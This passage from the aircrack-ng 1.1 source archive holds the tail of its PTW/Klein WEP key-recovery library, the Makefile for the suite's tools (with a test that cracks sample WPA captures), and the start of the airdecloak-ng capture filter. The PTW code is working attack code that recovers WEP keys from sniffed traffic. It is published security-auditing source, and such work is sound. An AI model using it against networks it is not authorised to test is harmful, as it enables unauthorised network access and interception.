(j + state->s[i] + key[i % keylen]) % n; but as "j" is declared as unsigned char and n equals 256, we can "optimize" it */ j = (j + state->s[i] + key[i % keylen]); tmp = state->s[i]; state->s[i] = state->s[j]; state->s[j] = tmp; } state->i = 0; state->j = 0; } // RC4 key stream generation static uint8_t rc4update(rc4state * state) { uint8_t tmp; uint8_t k; state->i++; state->j += state->s[state->i]; tmp = state->s[state->i]; state->s[state->i] = state->s[state->j]; state->s[state->j] = tmp; k = state->s[state->i] + state->s[state->j]; return state->s[k]; } // For sorting static int comparesorthelper(const void * ina, const void * inb) { sorthelper * a = (sorthelper * ) ina; sorthelper * b = (sorthelper * ) inb; if (a->distance > b->distance) { return 1; } else if (a->distance == b->distance) { return 0; } else { return -1; } } /* * Guess the values for sigma_i * ivlen - how long was the iv (is used differently in original klein attack) * iv - IV which was used for this packet * keystream - keystream recovered * result - buffer for the values of sigma_i * kb - how many keybytes should be guessed */ static void guesskeybytes(int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) { uint8_t state[n]; uint8_t j = 0; uint8_t tmp; int i; int jj = ivlen; uint8_t ii; uint8_t s = 0; memcpy(state, rc4initial, n); for (i = 0; i < ivlen; i++) { j += state[i] + iv[i]; tmp = state[i]; state[i] = state[j]; state[j] = tmp; } for (i = 0; i < kb; i++) { tmp = jj - keystream[jj-1]; ii = 0; while(tmp != state[ii]) { ii++; } s += state[jj]; ii -= (j+s); result[i] = ii; jj++; } return; } /* * Is a guessed key correct? */ static int correct(PTW_attackstate * state, uint8_t * key, int keylen) { int i; int j; int k; uint8_t keybuf[PTW_KSBYTES]; rc4state rc4state; // We need at least 3 sessions to be somehow certain if (state->sessions_collected < 3) { return 0; } tried++; k = rand()%(state->sessions_collected-10); for ( i=k; i < k+10; i++) { memcpy(&keybuf[IVBYTES], key, keylen); memcpy(keybuf, state->sessions[i].iv, IVBYTES); rc4init(keybuf, keylen+IVBYTES, &rc4state); for (j = 0; j < TESTBYTES; j++) { if ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) { return 0; } } } return 1; } /* * Calculate the squaresum of the errors for both distributions */ static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) { int i,j; int numvotes = 0; double e; double e2; double emax; double help = 0.0; double maxhelp = 0; double maxi = 0; for (i = 0; i < n; i++) { numvotes += orgtable[0][i].votes; } e = numvotes/n; for (i = 0; i < keylen; i++) { emax = eval[i] * numvotes; e2 = ((1.0 - eval[i])/255.0) * numvotes; normal[i] = 0; ausreiser[i] = 0; maxhelp = 0; maxi = 0; for (j = 0; j < n; j++) { if (orgtable[i][j].votes > maxhelp) { maxhelp = orgtable[i][j].votes; maxi = j; } } for (j = 0; j < n; j++) { if (j == maxi) { help = (1.0-orgtable[i][j].votes/emax); } else { help = (1.0-orgtable[i][j].votes/e2); } help = help*help; ausreiser[i] += help; help = (1.0-orgtable[i][j].votes/e); help = help*help; normal[i] += help; } } } /* * Guess a single keybyte */ static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes, int * bf, int validchars[][n]) { int i; uint8_t tmp; if(!opt.is_quiet && keybyte < 4) show_wep_stats( keylen -1, 0, keytable, searchborders, depth, tried ); if (keybyte > 0) { if (!validchars[keybyte-1][key[keybyte-1]]) { return 0; } } if (keybyte == keylen) { return correct(state, key, keylen); } else if (bf[keybyte] == 1) { for (i = 0; i < n; i++) { key[keybyte] = i; if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sum+i%n, strongbytes, bf, validchars)) { return 1; } } return 0; } else if (keybyte == fixat) { key[keybyte] = fixvalue-sum; return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes, bf, validchars); } else if (strongbytes[keybyte] == 1) { // printf("assuming byte %d to be strong\n", keybyte); tmp = 3 + keybyte; for (i = keybyte-1; i >= 1; i--) { tmp += 3 + key[i] + i; key[keybyte] = n-tmp; if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (n-tmp+sum)%n, strongbytes, bf, validchars) == 1) { printf("hit with strongbyte for keybyte %d\n", keybyte); return 1; } } return 0; } else { for (i = 0; i < searchborders[keybyte]; i++) { key[keybyte] = sortedtable[keybyte][i].b - sum; if(!opt.is_quiet) { depth[keybyte] = i; keytable[keybyte][i].b = key[keybyte]; } if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes, bf, validchars)) { return 1; } } return 0; } } /* * Do the actual computation of the key */ static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit, int * bf, int validchars[][n]) { int i,j; int choices[KEYHSBYTES]; int prod; int fixat; int fixvalue; if(!opt.is_quiet) memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen); for (i = 0; i < keylen; i++) { if (strongbytes[i] == 1) { choices[i] = i; } else { choices[i] = 1; } } i = 0; prod = 0; fixat = -1; fixvalue = 0; max_tries = keylimit; while(prod < keylimit) { if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes, bf, validchars) == 1) { // printf("hit with %d choices\n", prod); if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 1; } while( (i < keylen * (n-1)) && ((strongbytes[sh2[i].keybyte] == 1) || (bf[sh2[i].keybyte] == 1) ) ) { i++; } if(i >= (keylen * (n-1))) { break; } choices[sh2[i].keybyte]++; fixat = sh2[i].keybyte; // printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]); fixvalue = sh2[i].value; prod = 1; for (j = 0; j < keylen; j++) { prod *= choices[j]; if (bf[j] == 1) { prod *= n; } } /* do { i++; } while (strongbytes[sh2[i].keybyte] == 1); */ i++; if(!opt.is_quiet) show_wep_stats( keylen -1, 0, keytable, choices, depth, tried ); } if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 0; } /* * Guess which key bytes could be strong and start actual computation of the key */ int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit, int * bf, int validchars[][n], int attacks) { int strongbytes[KEYHSBYTES]; double normal[KEYHSBYTES]; double ausreisser[KEYHSBYTES]; doublesorthelper helper[KEYHSBYTES]; int simple, onestrong, twostrong; int i,j; uint8_t fullkeybuf[PTW_KSBYTES]; uint8_t guessbuf[PTW_KSBYTES]; sorthelper(*sh)[n-1]; PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen); tried=0; sh = NULL; if (table == NULL) { printf("could not allocate memory\n"); exit(-1); } if(!(attacks & NO_KLEIN)) { // Try the original klein attack first for (i = 0; i < keylen; i++) { memset(&table[i][0], 0, sizeof(PTW_tableentry) * n); for (j = 0; j < n; j++) { table[i][j].b = j; } for (j = 0; j < state->packets_collected; j++) { // fullkeybuf[0] = state->allsessions[j].iv[0]; memcpy(fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t)); guesskeybytes(i+3, fullkeybuf, state->allsessions[j].keystream, guessbuf, 1); table[i][guessbuf[0]].votes += state->allsessions[j].weight; } qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); j = 0; while(!validchars[i][table[i][j].b]) { j++; } // printf("guessing i = %d, b = %d\n", i, table[0][0].b); fullkeybuf[i+3] = table[i][j].b; } if (correct(state, &fullkeybuf[3], keylen)) { memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t)); // printf("hit without correction\n"); return 1; } } if(!(attacks & NO_PTW)) { memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen); onestrong = (testlimit/10)*2; twostrong = (testlimit/10)*1; simple = testlimit - onestrong - twostrong; // now, sort the table for (i = 0; i < keylen; i++) { qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); strongbytes[i] = 0; } sh = alloca(sizeof(sorthelper) * (n-1) * keylen); if (sh == NULL) { printf("could not allocate memory\n"); exit(-1); } for (i = 0; i < keylen; i++) { for (j = 1; j < n; j++) { sh[i][j-1].distance = table[i][0].votes - table[i][j].votes; sh[i][j-1].value = table[i][j].b; sh[i][j-1].keybyte = i; } } qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper); if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple, bf, validchars)) { return 1; } // Now one strong byte getdrv(state->table, keylen, normal, ausreisser); for (i = 0; i < keylen-1; i++) { helper[i].keybyte = i+1; helper[i].difference = normal[i+1] - ausreisser[i+1]; } qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper); // do not use bf-bytes as strongbytes i = 0; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong, bf, validchars)) { return 1; } // two strong bytes i++; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong, bf, validchars)) { return 1; } } return 0; } /* * Add a new session to the attack * state - state of attack * iv - IV used in the session * keystream - recovered keystream from the session */ int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream, int * weight, int total) { int i,j; int il; int ir; uint8_t buf[PTW_KEYHSBYTES]; i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); il = i/8; ir = 1 << (i%8); if ((state->seen_iv[il] & ir) == 0) { state->seen_iv[il] |= ir; for (j = 0; j < total; j++) { state->packets_collected++; guesskeybytes(IVBYTES, iv, &keystream[KSBYTES*j], buf, PTW_KEYHSBYTES); for (i = 0; i < KEYHSBYTES; i++) { state->table[i][buf[i]].votes += weight[j]; } if (state->allsessions_size < state->packets_collected) { state->allsessions_size = state->allsessions_size << 1; state->allsessions = realloc(state->allsessions, state->allsessions_size * sizeof(PTW_session)); if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } } memcpy(state->allsessions[state->packets_collected-1].iv, iv, IVBYTES); memcpy(state->allsessions[state->packets_collected-1].keystream, &keystream[KSBYTES*j], KSBYTES); state->allsessions[state->packets_collected-1].weight = weight[j]; } if ((state->sessions_collected < CONTROLSESSIONS)) { memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); state->sessions_collected++; } return 1; } else { return 0; } } /* * Allocate a new attackstate */ PTW_attackstate * PTW_newattackstate() { int i,k; PTW_attackstate * state = NULL; state = malloc(sizeof(PTW_attackstate)); if (state == NULL) { return NULL; } memset(state, 0, sizeof(PTW_attackstate)); for (i = 0; i < PTW_KEYHSBYTES; i++) { for (k = 0; k < n; k++) { state->table[i][k].b = k; } } state->allsessions = malloc(4096 * sizeof(PTW_session)); state->allsessions_size = 4096; if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } return state; } /* * Free an allocated attackstate */ void PTW_freeattackstate(PTW_attackstate * state) { free(state->allsessions); free(state); return; } aircrack-ng-1.1/src/Makefile0000644000000000000000000001514711335624174014477 0ustar rootrootAC_ROOT = .. LIBPCAP = include $(AC_ROOT)/common.mak TEST_DIR = $(AC_ROOT)/test CFLAGS += -Iinclude iCC = $(shell find /opt/intel/cc/*/bin/icc) iCFLAGS = -w -mcpu=pentiumpro -march=pentiumpro $(COMMON_CFLAGS) iOPTFLAGS = -O3 -ip -ipo -D_FILE_OFFSET_BITS=64 PROF_DIR = $(PWD)/prof BINFILES = aircrack-ng$(EXE) airdecap-ng$(EXE) packetforge-ng$(EXE) \ ivstools$(EXE) kstats$(EXE) makeivs-ng$(EXE) \ airdecloak-ng$(EXE) ifeq ($(SQLITE), true) BINFILES += airolib-ng$(EXE) else ifeq ($(sqlite), true) BINFILES += airolib-ng$(EXE) else ifeq ($(SQLITE), TRUE) BINFILES += airolib-ng$(EXE) else ifeq ($(sqlite), TRUE) BINFILES += airolib-ng$(EXE) endif endif endif endif LIBPCAP = SBINFILES = aireplay-ng$(EXE) airodump-ng$(EXE) airserv-ng$(EXE) \ airtun-ng$(EXE) airbase-ng$(EXE) OPTFILES = aircrack-ng-opt-prof_gen aircrack-ng-opt \ aircrack-ng-opt-prof prof/* ifeq ($(UNSTABLE), true) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) BINFILES += buddy-ng$(EXE) else ifeq ($(unstable), true) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) BINFILES += buddy-ng$(EXE) else ifeq ($(UNSTABLE), TRUE) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) BINFILES += buddy-ng$(EXE) else ifeq ($(unstable), TRUE) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) BINFILES += buddy-ng$(EXE) endif endif endif endif SRC_PTW = aircrack-ptw-lib.c SRC_AC = aircrack-ng.c crypto.c common.c $(SRC_PTW) OBJS_PTW = aircrack-ptw-lib.o OBJS_AC = aircrack-ng.o crypto.o common.o uniqueiv.o $(OBJS_PTW) ASM_AC = sha1-sse2.S OBJS_AD = airdecap-ng.o crypto.o common.o OBJS_PF = packetforge-ng.o common.o crypto.o OBJS_AR = aireplay-ng.o common.o crypto.o OBJS_ADU = airodump-ng.o common.o crypto.o uniqueiv.o ifneq ($(OSNAME), Linux) OBJS_ADU += osdep/common.o endif OBJS_AT = airtun-ng.o common.o crypto.o OBJS_IV = ivstools.o common.o crypto.o uniqueiv.o OBJS_AS = airserv-ng.o common.o OBJS_WS = wesside-ng.o crypto.c common.o $(OBJS_PTW) OBJS_AL = airolib-ng.o crypto.c common.o OBJS_ES = easside-ng.o common.o OBJS_BUDDY = buddy-ng.o common.o OBJS_MI = makeivs-ng.o common.o uniqueiv.o OBJS_AB = airbase-ng.o common.o crypto.o OBJS_AU = airdecloak-ng.o common.o osdep/radiotap/radiotap-parser.o OBJS_TT = tkiptun-ng.o common.o crypto.o OSD = osdep LIBS = -L$(OSD) -l$(OSD) $(LIBPCAP) $(LDFLAGS) ifeq ($(OSNAME), cygwin) LIBS += -liphlpapi -lsetupapi -luuid endif LIBOSD = $(OSD)/lib$(OSD).a LIBSSL = -lssl -lcrypto $(LDFLAGS) LIBSQL = ifeq ($(SQLITE), true) LIBSQL = -L/usr/local/lib -lsqlite3 else ifeq ($(sqlite), true) LIBSQL = -L/usr/local/lib -lsqlite3 else ifeq ($(SQLITE), TRUE) LIBSQL = -L/usr/local/lib -lsqlite3 else ifeq ($(sqlite), TRUE) LIBSQL = -L/usr/local/lib -lsqlite3 endif endif endif endif all: osd userland $(SBINFILES) userland: $(BINFILES) osd: $(MAKE) -C $(OSD) $(LIBOSD): $(MAKE) -C $(OSD) aircrack-ng-opt: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) $(SRC_AC) $(ASM_AC) $(LIBSSL) \ uniqueiv.o -o aircrack-ng-opt -lpthread $(LIBSQL) aircrack-ng-opt-prof_gen: $(SRC_AC) mkdir -p prof $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_genx -DDO_PGO_DUMP \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof_gen -lpthread $(LIBSQL) aircrack-ng-opt-prof_use: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_use \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof -lpthread $(LIBSQL) aircrack-ng$(EXE): $(OBJS_AC) $(CC) $(CFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) airdecap-ng$(EXE): $(OBJS_AD) $(CC) $(CFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL) packetforge-ng$(EXE): $(OBJS_PF) $(CC) $(CFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL) aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL) airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_AS) -o $(@) $(LIBS) $(LIBPCAP) airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL) ivstools$(EXE): $(OBJS_IV) $(CC) $(CFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL) kstats$(EXE): kstats.o $(CC) $(CFLAGS) kstats.o -o $(@) wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz easside-ng$(EXE): $(OBJS_ES) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz buddy-ng$(EXE): $(OBJS_BUDDY) $(CC) $(CFLAGS) $(OBJS_BUDDY) -o $(@) makeivs-ng$(EXE): $(OBJS_MI) $(CC) $(CFLAGS) $(OBJS_MI) -o $(@) airolib-ng$(EXE): $(OBJS_AL) $(CC) $(CFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL) airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread airdecloak-ng$(EXE): $(OBJS_AU) $(CC) $(CFLAGS) $(OBJS_AU) -o $(@) tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD) $(CC) $(CFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL) strip: $(BINFILES) $(SBINFILES) strip $(BINFILES) $(SBINFILES) clean: $(MAKE) -C $(OSD) clean -rm -f $(SBINFILES) $(BINFILES) $(OPTFILES) airolib-ng$(EXE) *.o wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) buddy-ng$(EXE) distclean: clean install: all $(MAKE) -C $(OSD) install install -d $(DESTDIR)$(bindir) install -m 755 $(BINFILES) $(DESTDIR)$(bindir) install -d $(DESTDIR)$(sbindir) install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir) uninstall: $(MAKE) -C $(OSD) uninstall -rm -f $(DESTDIR)$(bindir)/aircrack-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airdecap-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/packetforge-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airolib-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/ivstools$(EXE) -rm -f $(DESTDIR)$(bindir)/kstats$(EXE) -rm -f $(DESTDIR)$(bindir)/buddy-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airodump-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airserv-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airtun-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/aireplay-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/wesside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/easside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airbase-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/makeivs-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airdecloak-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/tkiptun-ng$(EXE) -rm -rf $(DESTDIR)$(etcdir) check: aircrack-ng$(EXE) ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e Harkonen -q $(TEST_DIR)/wpa2.eapol.cap | grep 'KEY FOUND! \[ 12345678 \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e test -q $(TEST_DIR)/wpa.cap | grep 'KEY FOUND! \[ biscotte \]' aircrack-ng-1.1/src/airdecloak-ng.c0000644000000000000000000013603011355271630015673 0ustar rootroot/* * WEP Cloaking filtering * * Copyright (C) 2008, 2009 Thomas d'Otreppe * * Thanks to Alex Hernandez aka alt3kx for the hardware. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include "airdecloak-ng.h" #include "version.h" #include "osdep/radiotap/radiotap-parser.h" #include "osdep/radiotap/ieee80211_radiotap.h" uchar buffer[65536]; char * _essid; char * _filename_output_invalid; char * _filename_output_cloaked; char * _filename_output_filtered; FILE * _output_cloaked_packets_file; FILE * _output_clean_capture_file; FILE * _input_file; struct pcap_file_header _pfh_in; struct pcap_file_header _pfh_out; long _filters; int _is_wep; unsigned char _bssid[6]; int _options_drop_fragments = 0; int _options_disable_retry = 0; int _options_disable_base_filter = 0; int _options_assume_null_packets_uncloaked = 0; struct decloak_stats stats; int getBits(unsigned char b, int from, int nb_bits) { unsigned int value = (unsigned int)b; unsigned int and_1st = 0; int i; if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8) { return -1; } for (i = from; i < from + nb_bits; i++) { and_1st += 1 << i; } value &= and_1st; value >>= from; return value; } FILE * openfile(const char * filename, const char * mode, int fatal) { FILE * f; if( ( f = fopen( filename, mode ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\" in \"%s\" mode.\n", filename, mode ); if (fatal) { exit(1); } } return f; } // Return 1 on success, 0 on failure BOOLEAN write_packet(FILE * file, struct packet_elt * packet) { // TODO: Do not forget to swap what has to be swapped if needed (caplen, ...) int result; unsigned int caplen = packet->header.caplen; // Write packet header if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( packet->header.caplen ); // Make sure it is re-swapped CORRECTLY -> OK result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file); if (result != PACKET_HEADER_SIZE) { perror("fwrite(packet header) failed"); return false; } // Write packet result = fwrite(packet->packet, 1, caplen, file); if (result != (int)caplen) { perror("fwrite(packet) failed"); return false; } return true; } FILE * init_new_pcap(const char * filename) { FILE * f; f = openfile(filename, "wb", 1); if (f != NULL) { if( fwrite( &_pfh_out, 1, sizeof( _pfh_out ), f ) != (size_t) sizeof( _pfh_out ) ) { perror( "fwrite(pcap file header) failed" ); } } return f; } FILE * open_existing_pcap(const char * filename) { FILE * f; size_t temp_sizet; f = fopen(filename, "rb"); temp_sizet = (size_t) sizeof( _pfh_in ); if( fread( &_pfh_in, 1, temp_sizet, f ) != temp_sizet ) { perror( "fread(pcap file header) failed" ); fclose(f); return NULL; } if( _pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", filename ); fclose(f); return NULL; } _pfh_out = _pfh_in; if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _pfh_in.linktype ); if( _pfh_in.linktype != LINKTYPE_IEEE802_11 && _pfh_in.linktype != LINKTYPE_PRISM_HEADER && _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && _pfh_in.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", filename ); fclose(f); return NULL; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { printf("Radiotap header found. Parsing Radiotap is experimental.\n"); } else if (_pfh_in.linktype == LINKTYPE_PPI_HDR) { printf("PPI not yet supported\n"); fclose(f); return NULL; } //_pcap_linktype = _pfh_in.linktype; return f; } BOOLEAN initialize_linked_list() { _packet_elt_head = (struct packet_elt_header *)malloc(sizeof(struct packet_elt_header *)); _packet_elt_head->first = ( struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->last = _packet_elt_head->first; _packet_elt_head->current = _packet_elt_head->first; _packet_elt_head->current->complete = 0; _packet_elt_head->current->prev = NULL; // First packet, no previous _packet_elt_head->current->next = NULL; _packet_elt_head->nb_packets = 1; return true; } BOOLEAN add_node_if_not_complete() { if (_packet_elt_head->current->complete == 1) { // Allocate new packet _packet_elt_head->current->next = (struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->current->next->prev = _packet_elt_head->current; _packet_elt_head->current = _packet_elt_head->current->next; _packet_elt_head->current->complete = 0; _packet_elt_head->nb_packets +=1; // Last will be set at the end of the while when everything went ok } // No free of the *packet pointer because it is only set when everything is ok => if a packet is not ok, it will never have *packet malloced // Alway reset is_cloaked field and dropped field _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet _packet_elt_head->current->is_dropped = 0; return true; } void set_node_complete() { _packet_elt_head->current->complete = 1; _packet_elt_head->last = _packet_elt_head->current; } void remove_last_uncomplete_node() { struct packet_elt * packet; if (_packet_elt_head->current->complete == 0) { packet = _packet_elt_head->current; _packet_elt_head->nb_packets -=1; _packet_elt_head->current->prev->next = NULL; free(packet); } } // Requirement: initialize_linked_list() called struct packet_elt * getPacketNr(int position) { struct packet_elt * packet = _packet_elt_head->first; int i = 0; while (i < position) { if (packet->next == NULL) { return NULL; } packet = packet->next; } return packet; } char * iv2string(unsigned char * iv) { char * string = (char *)malloc(9); snprintf(string, 9, "%02X %02X %02X", iv[0], iv[1], iv[2]); return string; } char * icv2string(unsigned char * icv) { char * string = (char *)malloc(12); snprintf(string, 12, "%02X %02X %02X %02X", icv[0], icv[1], icv[2], icv[3]); return string; } void print_packet(struct packet_elt * packet) { char * temp; printf("Packet length: %d\n", packet->length); printf("Frame type: %d (subtype: %d) - First byte: %d\n", packet->frame_type, packet->frame_subtype, packet->version_type_subtype); temp = mac2string(packet->bssid); printf("BSSID: %s\n",temp); free(temp); temp = mac2string(packet->source); printf("Source: %s\n",temp); free(temp); temp = mac2string(packet->destination); printf("Destination: %s\n",temp); free(temp); printf("Sequence number: %d (Fragment #: %d)\n", packet->sequence_number, packet->fragment_number); temp = iv2string(packet->iv); printf("IV: %s (Key index: %d)\n", temp, packet->key_index); free(temp); temp = icv2string(packet->icv); printf("ICV: %s\n", temp); free(temp); printf("Signal: %d - Retry bit: %d - is cloaked: %d\n", packet->signal_quality, packet->retry_bit, packet->is_cloaked); } int get_rtap_signal(int caplen) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *)buffer; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen) < 0) return 0; while (ieee80211_radiotap_iterator_next(&iterator) >= 0) { if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY) return *iterator.this_arg; } return 0; } // !!!! WDS not yet implemented BOOLEAN read_packets(void) { int i, start; time_t tt; unsigned char * h80211; size_t bytes_read; i=0; memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); switch(_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: start = 144; // based on madwifi-ng break; case LINKTYPE_RADIOTAP_HDR: start = (int)(buffer[2]); // variable length! break; case LINKTYPE_IEEE802_11: // 0 case LINKTYPE_PPI_HDR: // ? default: start = 0; break; } // Show link type printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ", LINKTYPE_PRISM_HEADER, LINKTYPE_RADIOTAP_HDR, LINKTYPE_IEEE802_11, LINKTYPE_PPI_HDR); switch (_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: puts("Prism"); break; case LINKTYPE_RADIOTAP_HDR: puts("Radiotap"); break; case LINKTYPE_IEEE802_11: puts("802.11"); break; case LINKTYPE_PPI_HDR: puts("PPI"); default: printf("Unknown (%d)\n", _pfh_in.linktype); break; } // Initialize double linked list. initialize_linked_list(); while( 1 ) { if( time( NULL ) - tt > 0 ) { // update the status line every second printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ // Only malloc if complete add_node_if_not_complete(); //puts("Reading packet header"); bytes_read = fread( &( _packet_elt_head->current->header ), 1, PACKET_HEADER_SIZE, _input_file ); if( bytes_read != (size_t) PACKET_HEADER_SIZE ) { if (bytes_read != 0) { printf("Failed to read packet header.\n"); } else { // Normal, reached EOF. //printf("Reached EOF.\n"); } break; } if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _packet_elt_head->current->header.caplen ); if( _packet_elt_head->current->header.caplen <= 0 || 